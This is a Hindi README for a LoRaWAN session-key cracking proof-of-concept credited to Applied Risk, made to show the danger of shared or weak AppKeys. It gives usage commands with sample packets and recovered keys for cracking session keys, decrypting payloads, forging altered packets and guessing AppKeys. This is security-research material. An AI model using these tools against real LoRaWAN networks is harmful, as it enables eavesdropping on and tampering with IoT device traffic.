
LoRaWAN सत्र क्रैकर - कमजोर या साझा एप्लिकेशन कुंजियों का शोषण करने के लिए एक PoC
Applied Risk के Sipke Mellema द्वारा निर्मित
यह एक Proof-of-Concept है जो कई LoRaWAN नोड्स पर एक ही AppKey का उपयोग करने के खतरों को प्रदर्शित करने के लिए है।
इस रिपॉजिटरी में कैप्चर किए गए पैकेटों से LoRaWAN सत्र कुंजियों को क्रैक करने के लिए एक टूलबॉक्स है। हमले का परिदृश्य मानता है कि आप AppKey जानते हैं लेकिन हैंडशेक से चूक गए हैं। या AppKey यादृच्छिक नहीं है और अनुमान लगाया जा सकता है।
LoRa हैंडशेक सत्र कुंजियाँ उत्पन्न करने के लिए तीन मानों का उपयोग करते हैं:
AppNonce | NetID | DevNonce
AppNonce और NetID 3 बाइट्स हैं, और DevNonce 2 बाइट्स है। NetID का कुछ हिस्सा ज्ञात है, इसलिए 57-बिट एन्ट्रॉपी बचती है। और कार्यान्वयन दोषों के कारण यह और भी कम हो सकती है।
बस make करें। ध्यान दें कि आपको Makefile में openssl 1.0.* स्थान से लिंक करना पड़ सकता है।
./loracrack -k <AppKey हेक्स में> -p <raw_packet हेक्स में>
सत्र कुंजियाँ क्रैक करता है यदि हैंडशेक (join-accept) छूट गया है लेकिन AppKey ज्ञात है। क्रैकिंग सत्र कुंजियाँ उत्पन्न करके और MIC की जाँच करके की जाती है।
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
वैकल्पिक तर्क:
-t थ्रेड्स
-v वर्बोज़ (0, 1 या 2)
-m अधिकतम AppNonce
./loracrack_knownpt -k <AppKey हेक्स में> -p <raw_packet हेक्स में> -d <plain_text हेक्स में>
सत्र कुंजियाँ क्रैक करता है यदि हैंडशेक (join-accept) छूट गया है लेकिन AppKey और प्लेनटेक्स्ट ज्ञात हैं। क्रैकिंग FRMPayload को डिक्रिप्ट करके और प्लेनटेक्स्ट की जाँच करके की जाती है। यह MIC की जाँच करने से तेज़ है, क्योंकि CMAC अधिक AES ऑपरेशनों का उपयोग करता है।
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
वैकल्पिक तर्क:
-t थ्रेड्स
-v वर्बोज़ (0, 1 या 2)
-m अधिकतम AppNonce
./loracrack_decrypt -k <डिक्रिप्ट कुंजी हेक्स में> -p <raw_packet हेक्स में>
पैकेट डेटा डिक्रिप्ट करता है यदि सत्र कुंजी ज्ञात है।
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57
30.32
./loracrack_alterpacket -p <raw_packet हेक्स में> -a <AppSKey हेक्स में> -n <NwkSKey हेक्स में> -c <Fctn> -d <नया डेटा हेक्स में>
पैकेट को नए डेटा के साथ बदलता है, DeviceAddr जैसी पुरानी चीज़ों को बनाए रखता है।
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332
400267bd018005000142d9f78c521c78573b
./loracrack_genkeys -k <AppKey हेक्स में> -j <join_packet हेक्स में> -a <accept_packet हेक्स में>
हैंडशेक (join और accept पैकेट) और AppKey दिए जाने पर सत्र कुंजियाँ उत्पन्न करता है।
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35
4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19
./loracrack_guessjoin -p <raw_packet हेक्स में> -f <AppKeys वाली फ़ाइल हेक्स में>
जाँचता है कि join पैकेट पर MIC की जाँच करके अनुमानित AppKeys का उपयोग किया गया है या नहीं। AppKeys एक फ़ाइल से ली जाती हैं जिसमें हेक्स-एन्कोडेड AppKeys नई पंक्तियों पर होती हैं।
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys
88888888888888888888888888888888